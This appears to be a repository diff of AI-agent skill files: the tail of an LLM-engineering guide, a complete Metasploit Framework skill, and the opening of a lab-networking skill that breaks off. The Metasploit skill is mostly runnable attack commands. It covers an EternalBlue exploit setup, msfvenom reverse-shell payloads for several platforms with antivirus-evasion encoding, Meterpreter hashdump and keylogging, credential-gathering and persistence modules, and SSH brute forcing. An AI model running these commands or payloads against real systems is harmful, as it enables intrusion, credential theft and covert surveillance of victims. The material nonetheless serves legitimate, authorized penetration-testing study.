def format(self, **kwargs) -> str:
|
||||
# Validate all variables provided
|
||||
missing = set(self.variables) - set(kwargs.keys())
|
||||
if missing:
|
||||
raise ValueError(f"Missing variables: {missing}")
|
||||
|
||||
return self.template.format(**kwargs)
|
||||
|
||||
def with_examples(self, examples: list[dict]) -> str:
|
||||
"""Add few-shot examples"""
|
||||
example_text = "\n\n".join([
|
||||
f"Input: {ex['input']}\nOutput: {ex['output']}"
|
||||
for ex in examples
|
||||
])
|
||||
return f"{example_text}\n\n{self.template}"
|
||||
|
||||
# Usage
|
||||
summarizer = PromptTemplate(
|
||||
template="Summarize the following text in {style} style:\n\n{text}",
|
||||
variables=["style", "text"]
|
||||
)
|
||||
|
||||
prompt = summarizer.format(
|
||||
style="professional",
|
||||
text="Long article content..."
|
||||
)
|
||||
```
|
||||
|
||||
### 3.2 Prompt Versioning & A/B Testing
|
||||
|
||||
```python
|
||||
class PromptRegistry:
|
||||
def __init__(self, db):
|
||||
self.db = db
|
||||
|
||||
def register(self, name: str, template: str, version: str):
|
||||
"""Store prompt with version"""
|
||||
self.db.save({
|
||||
"name": name,
|
||||
"template": template,
|
||||
"version": version,
|
||||
"created_at": datetime.now(),
|
||||
"metrics": {}
|
||||
})
|
||||
|
||||
def get(self, name: str, version: str = "latest") -> str:
|
||||
"""Retrieve specific version"""
|
||||
return self.db.get(name, version)
|
||||
|
||||
def ab_test(self, name: str, user_id: str) -> str:
|
||||
"""Return variant based on user bucket"""
|
||||
variants = self.db.get_all_versions(name)
|
||||
bucket = hash(user_id) % len(variants)
|
||||
return variants[bucket]
|
||||
|
||||
def record_outcome(self, prompt_id: str, outcome: dict):
|
||||
"""Track prompt performance"""
|
||||
self.db.update_metrics(prompt_id, outcome)
|
||||
```
|
||||
|
||||
### 3.3 Prompt Chaining
|
||||
|
||||
```python
|
||||
class PromptChain:
|
||||
"""
|
||||
Chain prompts together, passing output as input to next
|
||||
"""
|
||||
|
||||
def __init__(self, steps: list[dict]):
|
||||
self.steps = steps
|
||||
|
||||
def run(self, initial_input: str) -> dict:
|
||||
context = {"input": initial_input}
|
||||
results = []
|
||||
|
||||
for step in self.steps:
|
||||
prompt = step["prompt"].format(**context)
|
||||
output = llm.generate(prompt)
|
||||
|
||||
# Parse output if needed
|
||||
if step.get("parser"):
|
||||
output = step["parser"](output)
|
||||
|
||||
context[step["output_key"]] = output
|
||||
results.append({
|
||||
"step": step["name"],
|
||||
"output": output
|
||||
})
|
||||
|
||||
return {
|
||||
"final_output": context[self.steps[-1]["output_key"]],
|
||||
"intermediate_results": results
|
||||
}
|
||||
|
||||
# Example: Research → Analyze → Summarize
|
||||
chain = PromptChain([
|
||||
{
|
||||
"name": "research",
|
||||
"prompt": "Research the topic: {input}",
|
||||
"output_key": "research"
|
||||
},
|
||||
{
|
||||
"name": "analyze",
|
||||
"prompt": "Analyze these findings:\n{research}",
|
||||
"output_key": "analysis"
|
||||
},
|
||||
{
|
||||
"name": "summarize",
|
||||
"prompt": "Summarize this analysis in 3 bullet points:\n{analysis}",
|
||||
"output_key": "summary"
|
||||
}
|
||||
])
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. LLMOps & Observability
|
||||
|
||||
### 4.1 Metrics to Track
|
||||
|
||||
```python
|
||||
LLM_METRICS = {
|
||||
# Performance
|
||||
"latency_p50": "50th percentile response time",
|
||||
"latency_p99": "99th percentile response time",
|
||||
"tokens_per_second": "Generation speed",
|
||||
|
||||
# Quality
|
||||
"user_satisfaction": "Thumbs up/down ratio",
|
||||
"task_completion": "% tasks completed successfully",
|
||||
"hallucination_rate": "% responses with factual errors",
|
||||
|
||||
# Cost
|
||||
"cost_per_request": "Average $ per API call",
|
||||
"tokens_per_request": "Average tokens used",
|
||||
"cache_hit_rate": "% requests served from cache",
|
||||
|
||||
# Reliability
|
||||
"error_rate": "% failed requests",
|
||||
"timeout_rate": "% requests that timed out",
|
||||
"retry_rate": "% requests needing retry"
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 Logging & Tracing
|
||||
|
||||
```python
|
||||
import logging
|
||||
from opentelemetry import trace
|
||||
|
||||
tracer = trace.get_tracer(__name__)
|
||||
|
||||
class LLMLogger:
|
||||
def log_request(self, request_id: str, data: dict):
|
||||
"""Log LLM request for debugging and analysis"""
|
||||
log_entry = {
|
||||
"request_id": request_id,
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"model": data["model"],
|
||||
"prompt": data["prompt"][:500], # Truncate for storage
|
||||
"prompt_tokens": data["prompt_tokens"],
|
||||
"temperature": data.get("temperature", 1.0),
|
||||
"user_id": data.get("user_id"),
|
||||
}
|
||||
logging.info(f"LLM_REQUEST: {json.dumps(log_entry)}")
|
||||
|
||||
def log_response(self, request_id: str, data: dict):
|
||||
"""Log LLM response"""
|
||||
log_entry = {
|
||||
"request_id": request_id,
|
||||
"completion_tokens": data["completion_tokens"],
|
||||
"total_tokens": data["total_tokens"],
|
||||
"latency_ms": data["latency_ms"],
|
||||
"finish_reason": data["finish_reason"],
|
||||
"cost_usd": self._calculate_cost(data),
|
||||
}
|
||||
logging.info(f"LLM_RESPONSE: {json.dumps(log_entry)}")
|
||||
|
||||
# Distributed tracing
|
||||
@tracer.start_as_current_span("llm_call")
|
||||
def call_llm(prompt: str) -> str:
|
||||
span = trace.get_current_span()
|
||||
span.set_attribute("prompt.length", len(prompt))
|
||||
|
||||
response = llm.generate(prompt)
|
||||
|
||||
span.set_attribute("response.length", len(response))
|
||||
span.set_attribute("tokens.total", response.usage.total_tokens)
|
||||
|
||||
return response.content
|
||||
```
|
||||
|
||||
### 4.3 Evaluation Framework
|
||||
|
||||
```python
|
||||
class LLMEvaluator:
|
||||
"""
|
||||
Evaluate LLM outputs for quality
|
||||
"""
|
||||
|
||||
def evaluate_response(self,
|
||||
question: str,
|
||||
response: str,
|
||||
ground_truth: str = None) -> dict:
|
||||
scores = {}
|
||||
|
||||
# Relevance: Does it answer the question?
|
||||
scores["relevance"] = self._score_relevance(question, response)
|
||||
|
||||
# Coherence: Is it well-structured?
|
||||
scores["coherence"] = self._score_coherence(response)
|
||||
|
||||
# Groundedness: Is it based on provided context?
|
||||
scores["groundedness"] = self._score_groundedness(response)
|
||||
|
||||
# Accuracy: Does it match ground truth?
|
||||
if ground_truth:
|
||||
scores["accuracy"] = self._score_accuracy(response, ground_truth)
|
||||
|
||||
# Harmfulness: Is it safe?
|
||||
scores["safety"] = self._score_safety(response)
|
||||
|
||||
return scores
|
||||
|
||||
def run_benchmark(self, test_cases: list[dict]) -> dict:
|
||||
"""Run evaluation on test set"""
|
||||
results = []
|
||||
for case in test_cases:
|
||||
response = llm.generate(case["prompt"])
|
||||
scores = self.evaluate_response(
|
||||
question=case["prompt"],
|
||||
response=response,
|
||||
ground_truth=case.get("expected")
|
||||
)
|
||||
results.append(scores)
|
||||
|
||||
return self._aggregate_scores(results)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Production Patterns
|
||||
|
||||
### 5.1 Caching Strategy
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from functools import lru_cache
|
||||
|
||||
class LLMCache:
|
||||
def __init__(self, redis_client, ttl_seconds=3600):
|
||||
self.redis = redis_client
|
||||
self.ttl = ttl_seconds
|
||||
|
||||
def _cache_key(self, prompt: str, model: str, **kwargs) -> str:
|
||||
"""Generate deterministic cache key"""
|
||||
content = f"{model}:{prompt}:{json.dumps(kwargs, sort_keys=True)}"
|
||||
return hashlib.sha256(content.encode()).hexdigest()
|
||||
|
||||
def get_or_generate(self, prompt: str, model: str, **kwargs) -> str:
|
||||
key = self._cache_key(prompt, model, **kwargs)
|
||||
|
||||
# Check cache
|
||||
cached = self.redis.get(key)
|
||||
if cached:
|
||||
return cached.decode()
|
||||
|
||||
# Generate
|
||||
response = llm.generate(prompt, model=model, **kwargs)
|
||||
|
||||
# Cache (only cache deterministic outputs)
|
||||
if kwargs.get("temperature", 1.0) == 0:
|
||||
self.redis.setex(key, self.ttl, response)
|
||||
|
||||
return response
|
||||
```
|
||||
|
||||
### 5.2 Rate Limiting & Retry
|
||||
|
||||
```python
|
||||
import time
|
||||
from tenacity import retry, wait_exponential, stop_after_attempt
|
||||
|
||||
class RateLimiter:
|
||||
def __init__(self, requests_per_minute: int):
|
||||
self.rpm = requests_per_minute
|
||||
self.timestamps = []
|
||||
|
||||
def acquire(self):
|
||||
"""Wait if rate limit would be exceeded"""
|
||||
now = time.time()
|
||||
|
||||
# Remove old timestamps
|
||||
self.timestamps = [t for t in self.timestamps if now - t < 60]
|
||||
|
||||
if len(self.timestamps) >= self.rpm:
|
||||
sleep_time = 60 - (now - self.timestamps[0])
|
||||
time.sleep(sleep_time)
|
||||
|
||||
self.timestamps.append(time.time())
|
||||
|
||||
# Retry with exponential backoff
|
||||
@retry(
|
||||
wait=wait_exponential(multiplier=1, min=4, max=60),
|
||||
stop=stop_after_attempt(5)
|
||||
)
|
||||
def call_llm_with_retry(prompt: str) -> str:
|
||||
try:
|
||||
return llm.generate(prompt)
|
||||
except RateLimitError:
|
||||
raise # Will trigger retry
|
||||
except APIError as e:
|
||||
if e.status_code >= 500:
|
||||
raise # Retry server errors
|
||||
raise # Don't retry client errors
|
||||
```
|
||||
|
||||
### 5.3 Fallback Strategy
|
||||
|
||||
```python
|
||||
class LLMWithFallback:
|
||||
def __init__(self, primary: str, fallbacks: list[str]):
|
||||
self.primary = primary
|
||||
self.fallbacks = fallbacks
|
||||
|
||||
def generate(self, prompt: str, **kwargs) -> str:
|
||||
models = [self.primary] + self.fallbacks
|
||||
|
||||
for model in models:
|
||||
try:
|
||||
return llm.generate(prompt, model=model, **kwargs)
|
||||
except (RateLimitError, APIError) as e:
|
||||
logging.warning(f"Model {model} failed: {e}")
|
||||
continue
|
||||
|
||||
raise AllModelsFailedError("All models exhausted")
|
||||
|
||||
# Usage
|
||||
llm_client = LLMWithFallback(
|
||||
primary="gpt-4-turbo",
|
||||
fallbacks=["gpt-3.5-turbo", "claude-3-sonnet"]
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Architecture Decision Matrix
|
||||
|
||||
| Pattern | Use When | Complexity | Cost |
|
||||
| :------------------- | :--------------- | :--------- | :-------- |
|
||||
| **Simple RAG** | FAQ, docs search | Low | Low |
|
||||
| **Hybrid RAG** | Mixed queries | Medium | Medium |
|
||||
| **ReAct Agent** | Multi-step tasks | Medium | Medium |
|
||||
| **Function Calling** | Structured tools | Low | Low |
|
||||
| **Plan-Execute** | Complex tasks | High | High |
|
||||
| **Multi-Agent** | Research tasks | Very High | Very High |
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Dify Platform](https://github.com/langgenius/dify)
|
||||
- [LangChain Docs](https://python.langchain.com/)
|
||||
- [LlamaIndex](https://www.llamaindex.ai/)
|
||||
- [Anthropic Cookbook](https://github.com/anthropics/anthropic-cookbook)
|
||||
475
skills/metasploit-framework/SKILL.md
Normal file
475
skills/metasploit-framework/SKILL.md
Normal file
@@ -0,0 +1,475 @@
|
||||
---
|
||||
name: Metasploit Framework
|
||||
description: This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
|
||||
---
|
||||
|
||||
# Metasploit Framework
|
||||
|
||||
## Purpose
|
||||
|
||||
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
```bash
|
||||
# Metasploit comes pre-installed on Kali Linux
|
||||
# For other systems:
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
|
||||
chmod 755 msfinstall
|
||||
./msfinstall
|
||||
|
||||
# Start PostgreSQL for database support
|
||||
sudo systemctl start postgresql
|
||||
sudo msfdb init
|
||||
```
|
||||
|
||||
### Required Knowledge
|
||||
- Network and system fundamentals
|
||||
- Understanding of vulnerabilities and exploits
|
||||
- Basic programming concepts
|
||||
- Target enumeration techniques
|
||||
|
||||
### Required Access
|
||||
- Written authorization for testing
|
||||
- Network access to target systems
|
||||
- Understanding of scope and rules of engagement
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Exploitation Evidence** - Screenshots and logs of successful compromises
|
||||
2. **Session Logs** - Command history and extracted data
|
||||
3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references
|
||||
4. **Post-Exploitation Artifacts** - Credentials, files, and system information
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: MSFConsole Basics
|
||||
|
||||
Launch and navigate the Metasploit console:
|
||||
|
||||
```bash
|
||||
# Start msfconsole
|
||||
msfconsole
|
||||
|
||||
# Quiet mode (skip banner)
|
||||
msfconsole -q
|
||||
|
||||
# Basic navigation commands
|
||||
msf6 > help # Show all commands
|
||||
msf6 > search [term] # Search modules
|
||||
msf6 > use [module] # Select module
|
||||
msf6 > info # Show module details
|
||||
msf6 > show options # Display required options
|
||||
msf6 > set [OPTION] [value] # Configure option
|
||||
msf6 > run / exploit # Execute module
|
||||
msf6 > back # Return to main console
|
||||
msf6 > exit # Exit msfconsole
|
||||
```
|
||||
|
||||
### Phase 2: Module Types
|
||||
|
||||
Understand the different module categories:
|
||||
|
||||
```bash
|
||||
# 1. Exploit Modules - Target specific vulnerabilities
|
||||
msf6 > show exploits
|
||||
msf6 > use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# 2. Payload Modules - Code executed after exploitation
|
||||
msf6 > show payloads
|
||||
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
|
||||
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
|
||||
msf6 > show auxiliary
|
||||
msf6 > use auxiliary/scanner/smb/smb_version
|
||||
|
||||
# 4. Post-Exploitation Modules - Actions after compromise
|
||||
msf6 > show post
|
||||
msf6 > use post/windows/gather/hashdump
|
||||
|
||||
# 5. Encoders - Obfuscate payloads
|
||||
msf6 > show encoders
|
||||
msf6 > set ENCODER x86/shikata_ga_nai
|
||||
|
||||
# 6. Nops - No-operation padding for buffer overflows
|
||||
msf6 > show nops
|
||||
|
||||
# 7. Evasion - Bypass security controls
|
||||
msf6 > show evasion
|
||||
```
|
||||
|
||||
### Phase 3: Searching for Modules
|
||||
|
||||
Find appropriate modules for targets:
|
||||
|
||||
```bash
|
||||
# Search by name
|
||||
msf6 > search eternalblue
|
||||
|
||||
# Search by CVE
|
||||
msf6 > search cve:2017-0144
|
||||
|
||||
# Search by platform
|
||||
msf6 > search platform:windows type:exploit
|
||||
|
||||
# Search by type and keyword
|
||||
msf6 > search type:auxiliary smb
|
||||
|
||||
# Filter by rank (excellent, great, good, normal, average, low, manual)
|
||||
msf6 > search rank:excellent
|
||||
|
||||
# Combined search
|
||||
msf6 > search type:exploit platform:linux apache
|
||||
|
||||
# View search results columns:
|
||||
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
|
||||
```
|
||||
|
||||
### Phase 4: Configuring Exploits
|
||||
|
||||
Set up an exploit for execution:
|
||||
|
||||
```bash
|
||||
# Select exploit module
|
||||
msf6 > use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# View required options
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
|
||||
|
||||
# Set target host
|
||||
msf6 exploit(...) > set RHOSTS 192.168.1.100
|
||||
|
||||
# Set target port (if different from default)
|
||||
msf6 exploit(...) > set RPORT 445
|
||||
|
||||
# View compatible payloads
|
||||
msf6 exploit(...) > show payloads
|
||||
|
||||
# Set payload
|
||||
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
|
||||
# Set local host for reverse connection
|
||||
msf6 exploit(...) > set LHOST 192.168.1.50
|
||||
msf6 exploit(...) > set LPORT 4444
|
||||
|
||||
# View all options again to verify
|
||||
msf6 exploit(...) > show options
|
||||
|
||||
# Check if target is vulnerable (if supported)
|
||||
msf6 exploit(...) > check
|
||||
|
||||
# Execute exploit
|
||||
msf6 exploit(...) > exploit
|
||||
# or
|
||||
msf6 exploit(...) > run
|
||||
```
|
||||
|
||||
### Phase 5: Payload Types
|
||||
|
||||
Select appropriate payload for the situation:
|
||||
|
||||
```bash
|
||||
# Singles - Self-contained, no staging
|
||||
windows/shell_reverse_tcp
|
||||
linux/x86/shell_bind_tcp
|
||||
|
||||
# Stagers - Small payload that downloads larger stage
|
||||
windows/meterpreter/reverse_tcp
|
||||
linux/x86/meterpreter/bind_tcp
|
||||
|
||||
# Stages - Downloaded by stager, provides full functionality
|
||||
# Meterpreter, VNC, shell
|
||||
|
||||
# Payload naming convention:
|
||||
# [platform]/[architecture]/[payload_type]/[connection_type]
|
||||
# Examples:
|
||||
windows/x64/meterpreter/reverse_tcp
|
||||
linux/x86/shell/bind_tcp
|
||||
php/meterpreter/reverse_tcp
|
||||
java/meterpreter/reverse_https
|
||||
android/meterpreter/reverse_tcp
|
||||
```
|
||||
|
||||
### Phase 6: Meterpreter Session
|
||||
|
||||
Work with Meterpreter post-exploitation:
|
||||
|
||||
```bash
|
||||
# After successful exploitation, you get Meterpreter prompt
|
||||
meterpreter >
|
||||
|
||||
# System Information
|
||||
meterpreter > sysinfo
|
||||
meterpreter > getuid
|
||||
meterpreter > getpid
|
||||
|
||||
# File System Operations
|
||||
meterpreter > pwd
|
||||
meterpreter > ls
|
||||
meterpreter > cd C:\\Users
|
||||
meterpreter > download file.txt /tmp/
|
||||
meterpreter > upload /tmp/tool.exe C:\\
|
||||
|
||||
# Process Management
|
||||
meterpreter > ps
|
||||
meterpreter > migrate [PID]
|
||||
meterpreter > kill [PID]
|
||||
|
||||
# Networking
|
||||
meterpreter > ipconfig
|
||||
meterpreter > netstat
|
||||
meterpreter > route
|
||||
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
|
||||
|
||||
# Privilege Escalation
|
||||
meterpreter > getsystem
|
||||
meterpreter > getprivs
|
||||
|
||||
# Credential Harvesting
|
||||
meterpreter > hashdump
|
||||
meterpreter > run post/windows/gather/credentials/credential_collector
|
||||
|
||||
# Screenshots and Keylogging
|
||||
meterpreter > screenshot
|
||||
meterpreter > keyscan_start
|
||||
meterpreter > keyscan_dump
|
||||
meterpreter > keyscan_stop
|
||||
|
||||
# Shell Access
|
||||
meterpreter > shell
|
||||
C:\Windows\system32> whoami
|
||||
C:\Windows\system32> exit
|
||||
meterpreter >
|
||||
|
||||
# Background Session
|
||||
meterpreter > background
|
||||
msf6 exploit(...) > sessions -l
|
||||
msf6 exploit(...) > sessions -i 1
|
||||
```
|
||||
|
||||
### Phase 7: Auxiliary Modules
|
||||
|
||||
Use auxiliary modules for reconnaissance:
|
||||
|
||||
```bash
|
||||
# SMB Version Scanner
|
||||
msf6 > use auxiliary/scanner/smb/smb_version
|
||||
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
|
||||
msf6 auxiliary(...) > run
|
||||
|
||||
# Port Scanner
|
||||
msf6 > use auxiliary/scanner/portscan/tcp
|
||||
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
||||
msf6 auxiliary(...) > set PORTS 1-1000
|
||||
msf6 auxiliary(...) > run
|
||||
|
||||
# SSH Version Scanner
|
||||
msf6 > use auxiliary/scanner/ssh/ssh_version
|
||||
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
|
||||
msf6 auxiliary(...) > run
|
||||
|
||||
# FTP Anonymous Login
|
||||
msf6 > use auxiliary/scanner/ftp/anonymous
|
||||
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
||||
msf6 auxiliary(...) > run
|
||||
|
||||
# HTTP Directory Scanner
|
||||
msf6 > use auxiliary/scanner/http/dir_scanner
|
||||
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
||||
msf6 auxiliary(...) > run
|
||||
|
||||
# Brute Force Modules
|
||||
msf6 > use auxiliary/scanner/ssh/ssh_login
|
||||
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
||||
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
|
||||
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
|
||||
msf6 auxiliary(...) > run
|
||||
```
|
||||
|
||||
### Phase 8: Post-Exploitation Modules
|
||||
|
||||
Run post modules on active sessions:
|
||||
|
||||
```bash
|
||||
# List sessions
|
||||
msf6 > sessions -l
|
||||
|
||||
# Run post module on specific session
|
||||
msf6 > use post/windows/gather/hashdump
|
||||
msf6 post(windows/gather/hashdump) > set SESSION 1
|
||||
msf6 post(...) > run
|
||||
|
||||
# Or run directly from Meterpreter
|
||||
meterpreter > run post/windows/gather/hashdump
|
||||
|
||||
# Common Post Modules
|
||||
# Credential Gathering
|
||||
post/windows/gather/credentials/credential_collector
|
||||
post/windows/gather/lsa_secrets
|
||||
post/windows/gather/cachedump
|
||||
post/multi/gather/ssh_creds
|
||||
|
||||
# System Enumeration
|
||||
post/windows/gather/enum_applications
|
||||
post/windows/gather/enum_logged_on_users
|
||||
post/windows/gather/enum_shares
|
||||
post/linux/gather/enum_configs
|
||||
|
||||
# Privilege Escalation
|
||||
post/windows/escalate/getsystem
|
||||
post/multi/recon/local_exploit_suggester
|
||||
|
||||
# Persistence
|
||||
post/windows/manage/persistence_exe
|
||||
post/linux/manage/sshkey_persistence
|
||||
|
||||
# Pivoting
|
||||
post/multi/manage/autoroute
|
||||
```
|
||||
|
||||
### Phase 9: Payload Generation with msfvenom
|
||||
|
||||
Create standalone payloads:
|
||||
|
||||
```bash
|
||||
# Basic Windows reverse shell
|
||||
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
|
||||
|
||||
# Linux reverse shell
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
|
||||
|
||||
# PHP reverse shell
|
||||
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
|
||||
|
||||
# Python reverse shell
|
||||
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
|
||||
|
||||
# PowerShell payload
|
||||
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
|
||||
|
||||
# ASP web shell
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
|
||||
|
||||
# WAR file (Tomcat)
|
||||
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
|
||||
|
||||
# Android APK
|
||||
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
|
||||
|
||||
# Encoded payload (evade AV)
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
|
||||
|
||||
# List available formats
|
||||
msfvenom --list formats
|
||||
|
||||
# List available encoders
|
||||
msfvenom --list encoders
|
||||
```
|
||||
|
||||
### Phase 10: Setting Up Handlers
|
||||
|
||||
Configure listener for incoming connections:
|
||||
|
||||
```bash
|
||||
# Manual handler setup
|
||||
msf6 > use exploit/multi/handler
|
||||
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
|
||||
msf6 exploit(multi/handler) > set LPORT 4444
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
# The -j flag runs as background job
|
||||
msf6 > jobs -l
|
||||
|
||||
# When payload executes on target, session opens
|
||||
[*] Meterpreter session 1 opened
|
||||
|
||||
# Interact with session
|
||||
msf6 > sessions -i 1
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Essential MSFConsole Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `search [term]` | Search for modules |
|
||||
| `use [module]` | Select a module |
|
||||
| `info` | Display module information |
|
||||
| `show options` | Show configurable options |
|
||||
| `set [OPT] [val]` | Set option value |
|
||||
| `setg [OPT] [val]` | Set global option |
|
||||
| `run` / `exploit` | Execute module |
|
||||
| `check` | Verify target vulnerability |
|
||||
| `back` | Deselect module |
|
||||
| `sessions -l` | List active sessions |
|
||||
| `sessions -i [N]` | Interact with session |
|
||||
| `jobs -l` | List background jobs |
|
||||
| `db_nmap` | Run nmap with database |
|
||||
|
||||
### Meterpreter Essential Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `sysinfo` | System information |
|
||||
| `getuid` | Current user |
|
||||
| `getsystem` | Attempt privilege escalation |
|
||||
| `hashdump` | Dump password hashes |
|
||||
| `shell` | Drop to system shell |
|
||||
| `upload/download` | File transfer |
|
||||
| `screenshot` | Capture screen |
|
||||
| `keyscan_start` | Start keylogger |
|
||||
| `migrate [PID]` | Move to another process |
|
||||
| `background` | Background session |
|
||||
| `portfwd` | Port forwarding |
|
||||
|
||||
### Common Exploit Modules
|
||||
|
||||
```bash
|
||||
# Windows
|
||||
exploit/windows/smb/ms17_010_eternalblue
|
||||
exploit/windows/smb/ms08_067_netapi
|
||||
exploit/windows/http/iis_webdav_upload_asp
|
||||
exploit/windows/local/bypassuac
|
||||
|
||||
# Linux
|
||||
exploit/linux/ssh/sshexec
|
||||
exploit/linux/local/overlayfs_priv_esc
|
||||
exploit/multi/http/apache_mod_cgi_bash_env_exec
|
||||
|
||||
# Web Applications
|
||||
exploit/multi/http/tomcat_mgr_upload
|
||||
exploit/unix/webapp/wp_admin_shell_upload
|
||||
exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only use on systems you own or have written authorization to test
|
||||
- Document all testing activities
|
||||
- Follow rules of engagement
|
||||
- Report all findings to appropriate parties
|
||||
|
||||
### Technical Limitations
|
||||
- Modern AV/EDR may detect Metasploit payloads
|
||||
- Some exploits require specific target configurations
|
||||
- Firewall rules may block reverse connections
|
||||
- Not all exploits work on all target versions
|
||||
|
||||
### Operational Security
|
||||
- Use encrypted channels (reverse_https) when possible
|
||||
- Clean up artifacts after testing
|
||||
- Avoid detection by monitoring systems
|
||||
- Limit post-exploitation to agreed scope
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
|
||||
| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |
|
||||
| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
|
||||
| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |
|
||||
339
skills/network-101/SKILL.md
Normal file
339
skills/network-101/SKILL.md
Normal file
@@ -0,0 +1,339 @@
|
||||
---
|
||||
name: Network 101
|
||||
description: This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs.
|
||||
---
|
||||
|
||||
# Network 101
|
||||
|
||||
## Purpose
|
||||
|
||||
Configure and test common network services (HTTP, HTTPS, SNMP, SMB) for penetration testing lab environments. Enable hands-on practice with service enumeration, log analysis, and security testing against properly configured target systems.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Windows Server or Linux system for hosting services
|
||||
- Kali Linux or similar for testing
|
||||
- Administrative access to target system
|
||||
- Basic networking knowledge (IP addressing, ports)
|
||||
- Firewall access for port configuration
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Configured HTTP/HTTPS web server
|
||||
- SNMP service with accessible communities
|
||||
- SMB file shares with various permission levels
|
||||
- Captured logs for analysis
|
||||
- Documented enumeration results
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Configure HTTP Server (Port 80)
|
||||
|
||||
Set up a basic HTTP web server for testing:
|
||||
|
||||
**Windows IIS Setup:**
|
||||
1. Open IIS Manager (Internet Information Services)
|
||||
2. Right-click Sites → Add Website
|
||||
3. Configure site name and physical path
|
||||
4. Bind to IP address and port 80
|
||||
|
||||
**Linux Apache Setup:**
|
||||
|
||||
```bash
|
||||
# Install Apache
|
||||
sudo apt update && sudo apt install apache2
|
||||
|
||||
# Start service
|
||||
sudo systemctl start apache2
|
||||
sudo systemctl enable apache2
|
||||
|
||||
# Create test page
|
||||
echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html
|
||||
|
||||
# Verify service
|
||||
curl http://localhost
|
||||
```
|
||||
|
||||
**Configure Firewall for HTTP:**
|
||||
|
||||
```bash
|
||||
# Linux (UFW)
|
||||
sudo ufw allow 80/tcp
|
||||
|
||||
# Windows PowerShell
|
||||
New-NetFirewallRule -DisplayName "HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
|
||||
```
|
||||
|
||||
### 2. Configure HTTPS Server (Port 443)
|
||||
|
||||
Set up secure HTTPS with SSL/TLS:
|
||||
|
||||
**Generate Self-Signed Certificate:**
|
||||
|
||||
```bash
|
||||
# Linux - Generate certificate
|
||||
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
|
||||
